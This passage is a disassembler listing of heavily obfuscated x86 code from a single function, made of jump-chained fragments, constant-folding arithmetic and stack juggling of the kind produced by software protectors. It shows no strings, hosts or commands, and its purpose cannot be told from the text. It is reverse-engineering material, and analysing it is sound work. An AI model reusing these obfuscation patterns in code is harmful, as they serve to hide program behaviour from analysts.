		sub	esp, 4
		jmp	loc_5B8614
; ---------------------------------------------------------------------------


loc_5B27D9:				; CODE XREF: sub_5A55E5+AFF7j
		mov	al, 0C0h
		jmp	loc_5B4DA7
; ---------------------------------------------------------------------------


loc_5B27E0:				; CODE XREF: sub_5A55E5+DB60j
		mov	[esp+14h+var_14], eax
		mov	al, bl
		mov	dl, al
		pop	eax
		mov	[eax], dl
		push	[esp+10h+var_10]
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5AB71F
; ---------------------------------------------------------------------------
		push	[esp+10h+var_10]
		push	[esp+14h+var_14]
		jmp	loc_5BB786
; ---------------------------------------------------------------------------


loc_5B2806:				; CODE XREF: sub_5A55E5+FC88j
		push	516264CBh
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 2B91493Eh
		shr	esi, 2
		jmp	loc_5BC785
; ---------------------------------------------------------------------------


loc_5B2824:				; CODE XREF: sub_5A55E5+4F91j
		push	ebx
		mov	bl, 8Ah
		add	al, 0D8h
		jmp	loc_5AF22F
; ---------------------------------------------------------------------------


loc_5B282E:				; CODE XREF: sub_5A55E5+12241j
		add	bl, 7Ah
		jmp	loc_5BB80B
; ---------------------------------------------------------------------------


loc_5B2836:				; CODE XREF: sub_5A55E5+17792j
		pop	edx
		jmp	loc_5B6C57
; ---------------------------------------------------------------------------


loc_5B283C:				; CODE XREF: sub_5A55E5+BBCAj
		add	eax, 4
		jmp	loc_5BE36F
; ---------------------------------------------------------------------------


loc_5B2846:				; CODE XREF: sub_5A55E5+EF18j
		sub	esp, 4
		mov	[esp+20h+var_22+2], eax
		jmp	loc_5BDDCA
; ---------------------------------------------------------------------------


loc_5B2851:				; DATA XREF: sub_5A55E5+41EFo
		push	dword ptr [edi+40h]
		jmp	loc_5B080A
; ---------------------------------------------------------------------------


loc_5B2859:				; CODE XREF: sub_5A55E5+C84Dj
		shr	ebp, 3
		jmp	loc_5ADEBD
; ---------------------------------------------------------------------------


loc_5B2861:				; CODE XREF: sub_5A55E5+4C60j
		sub	esp, 4
		jmp	loc_5B7116
; ---------------------------------------------------------------------------


loc_5B286C:				; CODE XREF: sub_5A55E5+A344j
		xor	ebx, 3C404FCBh
		sub	ebx, 0DF94BDF7h
		jmp	loc_5B8999
; ---------------------------------------------------------------------------


loc_5B287D:				; CODE XREF: sub_5A55E5+1992Ej
		pop	small word ptr [esp+4Ah+var_4A]
		jmp	loc_5AA3E4
; ---------------------------------------------------------------------------


loc_5B2886:				; CODE XREF: sub_5A55E5+11AC2j
		pop	edx
		push	2C3Ah
		mov	[esp+48h+var_4A+2], ecx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 41464457h
		not	esi
		neg	esi
		add	esi, 0BEB9BBACh
		mov	ecx, esi
		pop	esi
		add	edx, 2CE350A1h
		jmp	loc_5B6DA2
; ---------------------------------------------------------------------------


loc_5B28B5:				; CODE XREF: sub_5A55E5+184CEj
		push	edx
		push	ebp
		mov	ebp, 64CF6A9Ah
		and	ebp, 676568F2h
		not	ebp
		sub	ebp, 8EF01B99h
		mov	edx, ebp
		pop	ebp
		sub	edx, 9ED414D4h
		add	ebp, edx
		pop	edx
		jmp	loc_5B428F
; ---------------------------------------------------------------------------


loc_5B28DB:				; CODE XREF: sub_5A55E5+6D87j
		add	eax, 4
		push	edx
		jmp	loc_5B7501
; ---------------------------------------------------------------------------


loc_5B28E6:				; CODE XREF: sub_5A55E5+8F45j
		mov	edi, 68AA492Ch
		add	edi, 9755B6D8h
		jmp	loc_5BB79D
; ---------------------------------------------------------------------------


loc_5B28F6:				; CODE XREF: sub_5A55E5+EEF6j
		pop	edi
		add	edi, 263162B3h
		mov	ecx, [esp+5Eh+var_60+2]
		add	esp, 4
		shr	edi, 1
		sub	edi, 41BE329Fh
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], ebp
		push	7F8h
		mov	[esp+62h+var_64+2], ebx
		jmp	loc_5BA7B7
; ---------------------------------------------------------------------------


loc_5B2921:				; CODE XREF: sub_5A55E5+D806j
		mov	[esp+62h+var_64+2], edi
		push	2
		pop	edi
		add	ebp, edi
		pop	edi
		jmp	loc_5AB5A9
; ---------------------------------------------------------------------------


loc_5B2932:				; CODE XREF: sub_5A55E5+17DE4j
		shl	word ptr [esp+5Eh+var_60+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B293C:				; CODE XREF: sub_5A55E5+988Ej
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ebx
		mov	ebx, 4
		add	edi, 14146813h
		jmp	loc_5B8B8D
; ---------------------------------------------------------------------------


loc_5B2955:				; CODE XREF: sub_5A55E5+19D9Aj
		push	eax
		push	esi
		push	4E3E0401h
		mov	esi, [esp+38h+var_3A+2]
		add	esp, 4
		neg	esi
		neg	esi
		sub	esi, 0E14FA920h
		mov	eax, esi
		pop	esi
		add	eax, 9311A521h
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+30h+var_32+2], esi
		push	[esp+30h+var_2E+2]
		pop	esi
		jmp	loc_5B1E40
; ---------------------------------------------------------------------------


loc_5B2987:				; CODE XREF: sub_5A55E5+15064j
		push	ecx
		jmp	loc_5BD6F9
; ---------------------------------------------------------------------------


loc_5B298D:				; CODE XREF: sub_5A55E5+127FBj
		add	esp, 4
		push	ebp
		push	[esp+34h+var_32+2]
		pop	ebp
		pop	[esp+34h+var_36+2]
		jmp	loc_5B76C2
; ---------------------------------------------------------------------------


loc_5B29A1:				; CODE XREF: sub_5A55E5+184F7j
		add	edx, ecx
		jmp	loc_5AC7A6
; ---------------------------------------------------------------------------


loc_5B29A8:				; CODE XREF: sub_5A55E5+19C32j
		mov	ecx, 657723A1h
		or	ecx, 59170A1h
		and	ecx, 0FFF184Bh
		sub	ecx, 25212AECh
		xor	edx, ecx
		jmp	loc_5AC8A5
; ---------------------------------------------------------------------------


loc_5B29C6:				; CODE XREF: sub_5A55E5+7884j
		push	eax
		mov	eax, 2D5277D1h
		inc	eax
		sub	eax, 42C66424h
		dec	eax
		add	eax, 761966A1h
		add	eax, 0F85D8359h
		jmp	loc_5B7BCC
; ---------------------------------------------------------------------------


loc_5B29E2:				; CODE XREF: sub_5A55E5+14FBAj
		pop	eax
		push	ebx
		jmp	loc_5B1B28
; ---------------------------------------------------------------------------


loc_5B29E9:				; CODE XREF: sub_5A55E5+952Cj
		add	edx, 4
		push	eax
		jmp	loc_5B7D93
; ---------------------------------------------------------------------------


loc_5B29F5:				; CODE XREF: sub_5A55E5+D6B6j
		sub	ebp, 7B3D7B0Bh
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	eax
		jmp	loc_5B8A99
; ---------------------------------------------------------------------------


loc_5B2A10:				; CODE XREF: sub_5A55E5+16A90j
		xor	edx, 30901A82h
		jmp	loc_5AEF3A
; ---------------------------------------------------------------------------


loc_5B2A1B:				; CODE XREF: sub_5A55E5+11719j
		xor	dl, 54h
		sub	esp, 4
		jmp	loc_5B6A70
; ---------------------------------------------------------------------------


loc_5B2A26:				; CODE XREF: sub_5A55E5+5B6Fj
		add	bl, 13h
		sub	bl, al
		sub	bl, 13h
		push	[esp+52h+var_54+2]
		jmp	loc_5B2CF8
; ---------------------------------------------------------------------------


loc_5B2A36:				; CODE XREF: sub_5A55E5+9F3Bj
		push	ebx
		mov	ebx, 0A0D4BB4h
		push	edx
		mov	edx, 7AE56606h
		and	edx, 47E32BD7h
		shr	edx, 8
		jmp	loc_5B1309
; ---------------------------------------------------------------------------


loc_5B2A50:				; CODE XREF: sub_5A55E5+7BA6j
		add	edi, edx
		jmp	loc_5B03CE
; ---------------------------------------------------------------------------


loc_5B2A57:				; CODE XREF: sub_5A55E5+1575Ej
		mov	[esp+32h+var_32], ebx
		jmp	loc_5AF1A7
; ---------------------------------------------------------------------------


loc_5B2A5F:				; CODE XREF: sub_5A55E5+C570j
		pop	ebp
		add	eax, ebx
		jmp	loc_5AF482
; ---------------------------------------------------------------------------


loc_5B2A67:				; CODE XREF: sub_5A55E5+11C81j
		add	esi, ebx
		push	[esp+1Ah+var_1C+2]
		mov	ebx, [esp+0]
		add	esp, 4
		add	esp, 4
		add	esi, 2
		sub	esp, 4
		jmp	loc_5AB162
; ---------------------------------------------------------------------------


loc_5B2A86:				; CODE XREF: sub_5A55E5+B107j
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_5B231E
; ---------------------------------------------------------------------------


loc_5B2A93:				; CODE XREF: sub_5A55E5+134AFj
		push	[esp+38h+var_3A+2]
		pop	eax
		add	esp, 4
		push	ebx
		dec	[esp+38h+var_3A+2]
		mov	ebx, [esp+38h+var_3A+2]
		add	esp, 4
		sub	ebx, 17144528h
		push	esi
		mov	esi, 193A3FE9h
		jmp	loc_5BB355
; ---------------------------------------------------------------------------


loc_5B2AB8:				; CODE XREF: sub_5A55E5+EEA7j
		sub	ebx, 100870h
		push	eax
		mov	eax, 602230D2h
		sub	ebx, eax
		pop	eax
		jmp	loc_5B4D18
; ---------------------------------------------------------------------------


loc_5B2ACC:				; CODE XREF: sub_5A55E5+E226j
		sub	edx, 6DC629ECh
		jmp	loc_5B0760
; ---------------------------------------------------------------------------


loc_5B2AD7:				; CODE XREF: sub_5A55E5+1246Cj
		add	edx, eax
		jmp	loc_5BDAD5
; ---------------------------------------------------------------------------


loc_5B2ADE:				; CODE XREF: sub_5A55E5+51FCj
		add	esi, edx
		jmp	loc_5B1D79
; ---------------------------------------------------------------------------


loc_5B2AE5:				; CODE XREF: sub_5A55E5+B233j
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		jmp	loc_5AD8C9
; ---------------------------------------------------------------------------
		push	[esp+1Ch+var_1C]
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		push	614h
		mov	[esp+20h+var_22+2], ebx
		push	esp
		jmp	loc_5B2DCE
; ---------------------------------------------------------------------------


loc_5B2B0A:				; CODE XREF: sub_5A55E5+E308j
		add	edx, 17C83FE4h
		add	edx, ebx
		sub	edx, 17C83FE4h
		jmp	loc_5BB859
; ---------------------------------------------------------------------------


loc_5B2B1D:				; CODE XREF: sub_5A55E5+15234j
		add	ebp, 4
		jmp	loc_5AFCA6
; ---------------------------------------------------------------------------


loc_5B2B28:				; CODE XREF: sub_5A55E5+4EDEj
		mov	dl, ch
		pop	ecx
		sub	al, dl
		pop	dx
		sub	al, 76h
		add	al, ch
		jmp	loc_5BF35D
; ---------------------------------------------------------------------------


loc_5B2B38:				; CODE XREF: sub_5A55E5+129A5j
		pop	ebx
		push	edx
		jmp	loc_5B0ECC
; ---------------------------------------------------------------------------


loc_5B2B3F:				; CODE XREF: sub_5A55E5+F049j
		mov	cx, word ptr [esp+5Ah+var_5C+2]
		add	esp, 2
		push	35ABh
		mov	[esp+5Ah+var_5C+2], ebx
		sub	esp, 4
		jmp	loc_5B6404
; ---------------------------------------------------------------------------


loc_5B2B59:				; CODE XREF: sub_5A55E5+195AFj
		xor	ecx, [esp+5Eh+var_60+2]
		xor	[esp+5Eh+var_60+2], ecx
		xor	ecx, [esp+5Eh+var_60+2]
		mov	esp, [esp+5Eh+var_60+2]
		jmp	loc_5BE699
; ---------------------------------------------------------------------------


loc_5B2B6A:				; CODE XREF: sub_5A55E5+118B7j
		and	edx, 576643B7h
		jmp	loc_5B01A4
; ---------------------------------------------------------------------------


loc_5B2B75:				; CODE XREF: sub_5A55E5+E813j
		pop	edx
		sub	esp, 4
		jmp	loc_5B0956
; ---------------------------------------------------------------------------


loc_5B2B7E:				; CODE XREF: sub_5A55E5+1701Fj
		shl	ecx, 3
		shr	ecx, 6
		neg	ecx
		xor	ecx, 0FF2ADEACh
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xor	esi, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], esi
		xor	esi, [esp+5Ah+var_5C+2]
		jmp	loc_5ADE5A
; ---------------------------------------------------------------------------


loc_5B2BA3:				; CODE XREF: sub_5A55E5+87AAj
		sub	ecx, 64003074h
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5AC144
; ---------------------------------------------------------------------------


loc_5B2BB7:				; CODE XREF: sub_5A55E5+16968j
		add	esp, 4
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		xor	[esp+12h+var_14+2], ebp
		xor	ebp, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ebp
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B2BD1:				; CODE XREF: sub_5A55E5+49C1j
		add	edi, 0B026CF56h
		mov	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5AAD54
; ---------------------------------------------------------------------------


loc_5B2BE5:				; CODE XREF: sub_5A55E5+1720Ej
		xor	ah, dh
		pop	edx
		sub	ch, ah
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		add	al, ch
		push	[esp+1Ch+var_1C]
		pop	ecx
		jmp	loc_5AA570
; ---------------------------------------------------------------------------


loc_5B2BFB:				; CODE XREF: sub_5A55E5+CE05j
		shr	edi, 6
		sub	edi, 0CE0BB822h
		push	eax
		mov	eax, 25B445EDh
		jmp	loc_5B8A2B
; ---------------------------------------------------------------------------


loc_5B2C0F:				; CODE XREF: sub_5A55E5+86CBj
		mov	eax, [esp+22h+var_22]
		push	esi
		jmp	loc_5BF21C
; ---------------------------------------------------------------------------


loc_5B2C18:				; CODE XREF: sub_5A55E5+7A2Cj
		push	eax
		mov	ah, dl
		mov	bh, ah
		pop	eax
		pop	edx
		mov	cl, byte ptr [esp+3Ch+var_3A]
		mov	byte ptr [esp+3Ch+var_3A], bh
		mov	bx, word ptr [esp+3Ch+var_3E+2]
		push	esi
		mov	esi, esp
		jmp	loc_5B886C
; ---------------------------------------------------------------------------


loc_5B2C33:				; CODE XREF: sub_5A55E5+11E28j
		sub	dl, al
		pop	eax
		jmp	loc_5B1836
; ---------------------------------------------------------------------------


loc_5B2C3B:				; CODE XREF: sub_5A55E5+FCAFj
		or	edi, 6FAB2499h
		inc	edi
		jmp	loc_5B169D
; ---------------------------------------------------------------------------


loc_5B2C47:				; CODE XREF: sub_5A55E5+4CF8j
		add	esp, 4
		push	1A73h
		mov	[esp+2Ch+var_2E+2], ecx
		mov	ecx, 5E6E5FC2h
		shl	ecx, 1
		or	ecx, 0E035414h
		sub	ecx, 398E4545h
		sub	ecx, 1E36109Bh
		sub	ecx, 3FB704FFh
		sub	ecx, 2764A4B1h
		add	esi, ecx
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 17F2AB9h
		jmp	loc_5B1103
; ---------------------------------------------------------------------------


loc_5B2C89:				; CODE XREF: sub_5A55E5+12850j
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 7A3C7B0Fh
		push	esi
		mov	esi, 333D620Ch
		or	ebp, esi
		pop	esi
		jmp	loc_5B29F5
; ---------------------------------------------------------------------------


loc_5B2CA0:				; CODE XREF: sub_5A55E5+151B9j
		mov	ecx, 2E081D39h
		shl	ecx, 2
		shr	ecx, 2
		shl	ecx, 5
		jmp	loc_5B19A7
; ---------------------------------------------------------------------------


loc_5B2CB3:				; CODE XREF: sub_5A55E5+4B60j
		shl	ebp, 1
		jmp	loc_5B58E0
; ---------------------------------------------------------------------------


loc_5B2CBA:				; CODE XREF: sub_5A55E5+B268j
		push	ecx
		mov	ecx, 4E791BABh
		xor	ecx, 3295D8Eh
		mov	edi, ecx
		pop	ecx
		sub	ebx, edi
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		mov	esi, [esp+42h+var_42]
		push	eax
		sub	esp, 4
		mov	[esp+4Ah+var_4A], esp
		add	[esp+4Ah+var_4A], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+46h+var_46]
		jmp	loc_5BCE2C
; ---------------------------------------------------------------------------


loc_5B2CF8:				; CODE XREF: sub_5A55E5+D44Cj
		pop	eax
		add	esp, 4
		push	edx
		jmp	loc_5AFD92
; ---------------------------------------------------------------------------


loc_5B2D02:				; CODE XREF: sub_5A55E5+18B07j
		pop	edi
		push	[esp+4Eh+var_50+2]
		jmp	loc_5B1E37
; ---------------------------------------------------------------------------


loc_5B2D0B:				; CODE XREF: sub_5A55E5+14FB4j
		pop	ebx
		and	eax, edi
		push	[esp+4Eh+var_50+2]
		jmp	loc_5BC159
; ---------------------------------------------------------------------------


loc_5B2D16:				; CODE XREF: sub_5A55E5+14E81j
		shl	edx, 5
		push	2933h
		jmp	loc_5B2034
; ---------------------------------------------------------------------------


loc_5B2D23:				; CODE XREF: sub_5A55E5+65FEj
		add	edi, eax
		pop	eax
		jmp	loc_5B1F95
; ---------------------------------------------------------------------------


loc_5B2D2B:				; CODE XREF: sub_5A55E5+13CACj
		push	[esp+30h+var_32+2]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp+30h+var_32+2], eax
		jmp	loc_5AC2D4
; ---------------------------------------------------------------------------


loc_5B2D40:				; CODE XREF: sub_5A55E5+11AE5j
		not	edi
		xor	edi, 4E593607h
		jmp	loc_5B4060
; ---------------------------------------------------------------------------


loc_5B2D4D:				; CODE XREF: sub_5A55E5+EA3Bj
		or	ecx, 56650075h
		add	ecx, 0A98AB285h
		jmp	loc_5BB877
; ---------------------------------------------------------------------------


loc_5B2D5E:				; CODE XREF: sub_5A55E5+12DAEj
		add	esi, eax
		pop	eax
		xor	esi, [esp+2Ch+var_2E+2]
		jmp	loc_5BF3F1
; ---------------------------------------------------------------------------


loc_5B2D69:				; CODE XREF: sub_5A55E5+12AFDj
		xor	eax, edi
		pop	edi
		jmp	loc_5AA524
; ---------------------------------------------------------------------------


loc_5B2D71:				; CODE XREF: sub_5A55E5+EAC6j
		pop	ebp
		push	ebp
		push	esp
		jmp	loc_5B9D10
; ---------------------------------------------------------------------------


loc_5B2D79:				; CODE XREF: sub_5A55E5+18716j
		mov	ch, 4Bh
		add	dl, 93h
		add	dl, ch
		sub	dl, 93h
		pop	ecx
		add	dl, 16h
		add	dl, bl
		sub	dl, 16h
		mov	ebx, [esp+28h+var_2A+2]
		jmp	loc_5BEB3D
; ---------------------------------------------------------------------------


loc_5B2D94:				; CODE XREF: sub_5A55E5+5187j
		push	edx
		push	ecx
		push	4981087Eh
		jmp	loc_5BC817
; ---------------------------------------------------------------------------


loc_5B2DA0:				; CODE XREF: sub_5A55E5+DFAAj
		sub	eax, ebp
		jmp	loc_5B5907
; ---------------------------------------------------------------------------


loc_5B2DA7:				; CODE XREF: sub_5A55E5+A5EEj
		push	ebp
		mov	ebp, 14E31467h
		shl	ebp, 3
		jmp	loc_5B20E8
; ---------------------------------------------------------------------------


loc_5B2DB5:				; CODE XREF: sub_5A55E5+18EB0j
		pop	ecx
		dec	ecx
		jmp	loc_5AE1A4
; ---------------------------------------------------------------------------


loc_5B2DBC:				; CODE XREF: sub_5A55E5+15F89j
		not	[esp+26h+var_26]
		pop	edx
		shr	edx, 6
		and	edx, 198573D0h
		jmp	loc_5BC20A
; ---------------------------------------------------------------------------


loc_5B2DCE:				; CODE XREF: sub_5A55E5+D520j
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5ADF5E
; ---------------------------------------------------------------------------


loc_5B2DDC:				; CODE XREF: sub_5A55E5+156CDj
		inc	esi
		sub	esi, 0DFF6FD5Bh
		add	ebp, esi
		pop	esi
		push	355Ah
		jmp	loc_5B2921
; ---------------------------------------------------------------------------


loc_5B2DF0:				; CODE XREF: sub_5A55E5+11698j
		mov	esi, ebx
		mov	edx, esi
		mov	esi, [esp+20h+var_22+2]
		jmp	loc_5B6050
; ---------------------------------------------------------------------------


loc_5B2DFC:				; CODE XREF: sub_5A55E5+1103Ej
		mov	ebx, 102E1B8Bh
		shl	ebx, 1
		shr	ebx, 5
		sub	ebx, 87266CEFh
		or	ebp, ebx
		pop	ebx
		push	2FDh
		jmp	loc_5B4D74
; ---------------------------------------------------------------------------


loc_5B2E19:				; CODE XREF: sub_5A55E5+11887j
		push	ebx
		jmp	loc_5B58D9
; ---------------------------------------------------------------------------


loc_5B2E1F:				; CODE XREF: sub_5A55E5+14E15j
		mov	edx, 233C5C1Dh
		add	edx, 2C42FD79h
		jmp	loc_5B122B
; ---------------------------------------------------------------------------


loc_5B2E2F:				; CODE XREF: sub_5A55E5+17A5Fj
		pop	esi
		pop	[esp+20h+var_22+2]
		pop	esp
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 800h
		and	ecx, ebx
		mov	ebx, [esp+1Ch+var_1C]
		push	ebx
		mov	ebx, esp
		push	edi
		push	1E25h
		mov	[esp+28h+var_2A+2], ecx
		push	esi
		jmp	loc_5BDD71
; ---------------------------------------------------------------------------


loc_5B2E59:				; CODE XREF: sub_5A55E5+19F2Bj
		push	[esp+2Ch+var_2E+2]
		jmp	loc_5BA4D2
; ---------------------------------------------------------------------------


loc_5B2E61:				; CODE XREF: sub_5A55E5+18A04j
		mov	edi, 465954E5h
		sub	ebp, edi
		pop	edi
		add	ebp, edx
		jmp	loc_5BC55B
; ---------------------------------------------------------------------------


loc_5B2E70:				; CODE XREF: sub_5A55E5+83B0j
		xor	[esp+10h+var_10], edi
		xor	edi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5AC039
; ---------------------------------------------------------------------------


loc_5B2E7E:				; CODE XREF: sub_5A55E5+7F47j
		push	7BBh
		mov	[esp+18h+var_18], esi
		push	ebp
		mov	ebp, 21E0453Fh
		jmp	loc_5B58E7
; ---------------------------------------------------------------------------


loc_5B2E91:				; DATA XREF: sub_5A55E5+42D7o
		mov	ax, word ptr [esp+14h+var_14]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, edi
		jmp	loc_5B0440
; ---------------------------------------------------------------------------


loc_5B2EAA:				; CODE XREF: sub_5A55E5+AC80j
		push	edi
		mov	edi, 6C5D192Ah
		xor	eax, edi
		pop	edi
		push	ebx
		jmp	loc_5BE0F9
; ---------------------------------------------------------------------------


loc_5B2EB9:				; CODE XREF: sub_5A55E5+159B9j
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		push	edi
		mov	edi, 42010150h
		mov	eax, edi
		pop	edi
		shr	eax, 2
		push	903h
		mov	[esp+26h+var_26], eax
		not	[esp+26h+var_26]
		jmp	loc_5B6432
; ---------------------------------------------------------------------------


loc_5B2EDE:				; CODE XREF: sub_5A55E5+14397j
		pop	edi
		add	eax, edx
		add	eax, 58CB03E5h
		pop	edx
		jmp	loc_5AEA62
; ---------------------------------------------------------------------------


loc_5B2EEC:				; CODE XREF: sub_5A55E5+14E5Fj
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp+0]
		jmp	loc_5AD9D8
; ---------------------------------------------------------------------------


loc_5B2EFB:				; CODE XREF: sub_5A55E5+13024j
		add	edx, 4
		sub	edx, 4
		jmp	loc_5B8422
; ---------------------------------------------------------------------------


loc_5B2F09:				; CODE XREF: sub_5A55E5+7BFCj
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 4AAD0163h
		not	ebp
		dec	ebp
		push	ecx
		push	eax
		push	4D4F1D15h
		pop	eax
		xor	eax, 76FA420Eh
		dec	eax
		add	eax, 26B75F74h
		xor	eax, 65B2EF31h
		mov	ecx, eax
		pop	eax
		xor	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 7DBC3017h
		sub	edi, 6A6EF51Eh
		add	ebp, edi
		jmp	loc_5ACC0B
; ---------------------------------------------------------------------------


loc_5B2F4A:				; CODE XREF: sub_5A55E5+13992j
		xor	edi, 4339026Dh
		push	edi
		not	[esp+28h+var_2A+2]
		pop	edi
		shr	edi, 5
		or	edi, 274B4699h
		dec	edi
		add	edi, 3FE009B7h
		add	eax, 7EE37FDFh
		add	eax, edi
		sub	eax, 7EE37FDFh
		pop	edi
		add	eax, ebx
		push	ebp
		mov	ebp, 513D1BCBh
		jmp	loc_5B20A4
; ---------------------------------------------------------------------------


loc_5B2F7F:				; CODE XREF: sub_5A55E5+186D9j
		pop	ebx
		push	372Dh
		mov	[esp+24h+var_26+2], ebp
		mov	ebp, esp
		jmp	loc_5BE2D9
; ---------------------------------------------------------------------------


loc_5B2F8F:				; CODE XREF: sub_5A55E5+17690j
		mov	ebx, 5DFE34C8h
		or	edi, ebx
		pop	ebx
		xor	edi, 2E85963Ch
		add	esi, edi
		jmp	loc_5AF7A3
; ---------------------------------------------------------------------------


loc_5B2FA4:				; CODE XREF: sub_5A55E5+E9B4j
		mov	[esp+20h+var_22+2], esi
		mov	esi, 2D5563B8h
		push	ecx
		jmp	loc_5AF63C
; ---------------------------------------------------------------------------


loc_5B2FB2:				; CODE XREF: sub_5A55E5+16902j
		sub	eax, edi
		pop	edi
		jmp	loc_5ACC17
; ---------------------------------------------------------------------------


loc_5B2FBA:				; CODE XREF: sub_5A55E5+112FAj
		mov	si, ax
		pop	eax
		add	ax, 54F6h
		jmp	loc_5B1463
; ---------------------------------------------------------------------------


loc_5B2FC7:				; CODE XREF: sub_5A55E5+19AD1j
		pop	ebp
		jmp	loc_5AAF85
; ---------------------------------------------------------------------------


loc_5B2FCD:				; CODE XREF: sub_5A55E5+B3EDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ch+var_2E+2]
		pop	esp
		xchg	edx, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		mov	[esp+28h+var_2A+2], edx
		push	eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B2FF0:				; CODE XREF: sub_5A55E5+115D5j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_5B7C4F
; ---------------------------------------------------------------------------


loc_5B2FFD:				; CODE XREF: sub_5A55E5+1700Dj
		xor	ecx, 0F1353D0Eh
		mov	ebp, ecx
		jmp	loc_5BE70C
; ---------------------------------------------------------------------------


loc_5B300A:				; CODE XREF: sub_5A55E5+E1B9j
		pop	edi
		xor	edi, ebx
		pop	ebx
		jmp	loc_5BC871
; ---------------------------------------------------------------------------


loc_5B3013:				; CODE XREF: sub_5A55E5+FFDEj
		pop	eax
		and	eax, 4EEF56F7h
		push	ebx
		mov	ebx, 200B0282h
		add	eax, ebx
		jmp	loc_5B1FC9
; ---------------------------------------------------------------------------


loc_5B3026:				; CODE XREF: sub_5A55E5+18FDFj
		sub	eax, 25723E92h
		sub	eax, 43E70EEh
		jmp	loc_5B2697
; ---------------------------------------------------------------------------


loc_5B3035:				; CODE XREF: sub_5A55E5+C614j
		and	edi, 30D77CFCh
		or	edi, 1E2F0F4Eh
		sub	edi, 0AAF6EBF7h
		jmp	loc_5AC641
; ---------------------------------------------------------------------------


loc_5B304C:				; CODE XREF: sub_5A55E5+1520Aj
		pop	ecx
		pop	edi
		shl	ecx, 1
		jmp	loc_5AB6A9
; ---------------------------------------------------------------------------


loc_5B3055:				; CODE XREF: sub_5A55E5+12DBBj
		add	ecx, 4
		push	edx
		push	ebx
		push	484C4D25h
		pop	ebx
		push	edx
		mov	edx, 200B1DD6h
		xor	edx, 42ED505Bh
		sub	edx, 1A9A006Ah
		jmp	loc_5ABA40
; ---------------------------------------------------------------------------


loc_5B307A:				; CODE XREF: sub_5A55E5+4685j
		mov	edx, 4
		jmp	loc_5BC670
; ---------------------------------------------------------------------------


loc_5B3084:				; CODE XREF: sub_5A55E5+13F2Bj
		push	ecx
		mov	cl, 0FFh
		add	dl, cl
		mov	ecx, [esp+2Ah+var_2A]
		add	esp, 4
		xchg	ch, dl
		neg	ch
		xchg	ch, dl
		sub	esp, 2
		mov	word ptr [esp+2Ah+var_2A], dx
		not	byte ptr [esp+2Ah+var_2A]
		mov	dx, word ptr [esp+2Ah+var_2A]
		add	esp, 2
		inc	dl
		xor	dl, 0C6h
		push	ecx
		mov	cl, dl
		push	eax
		jmp	loc_5ADD1D
; ---------------------------------------------------------------------------


loc_5B30B7:				; CODE XREF: sub_5A55E5+7CECj
		mov	[esp+26h+var_26], ebp
		mov	ebp, 392A6EB9h
		add	ebp, 1
		push	ebx
		push	515Ah
		jmp	loc_5B6252
; ---------------------------------------------------------------------------


loc_5B30CD:				; CODE XREF: sub_5A55E5+17A4Aj
		add	ebx, 4DC926E6h
		sub	ebx, 634C6B9Ah
		sub	ebx, ecx
		jmp	loc_5B4FFD
; ---------------------------------------------------------------------------


loc_5B30E0:				; CODE XREF: sub_5A55E5+15C1Dj
		pop	bx
		push	ebx
		mov	bl, 85h
		sub	dh, bl
		pop	ebx
		push	bx
		jmp	loc_5B099E
; ---------------------------------------------------------------------------


loc_5B30EF:				; CODE XREF: sub_5A55E5+173BDj
		push	0FB7544h
		jmp	loc_5B7125
; ---------------------------------------------------------------------------


loc_5B30F9:				; CODE XREF: sub_5A55E5+AD22j
		push	ebx
		push	ecx
		push	1F32C39h
		pop	ecx
		xor	ecx, 25A857D0h
		push	esi
		mov	esi, ecx
		mov	ebx, esi
		pop	esi
		pop	ecx
		or	ebx, 371F4CA1h
		inc	ebx
		and	ebx, 26506AF6h
		jmp	loc_5AFF09
; ---------------------------------------------------------------------------


loc_5B3120:				; CODE XREF: sub_5A55E5+E839j
		push	esi
		jmp	loc_5AB9B4
; ---------------------------------------------------------------------------


loc_5B3126:				; CODE XREF: sub_5A55E5+7D9Cj
		add	edi, 3A2D17E6h
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		mov	eax, edi
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		add	eax, edx
		push	edx
		push	4EBEh
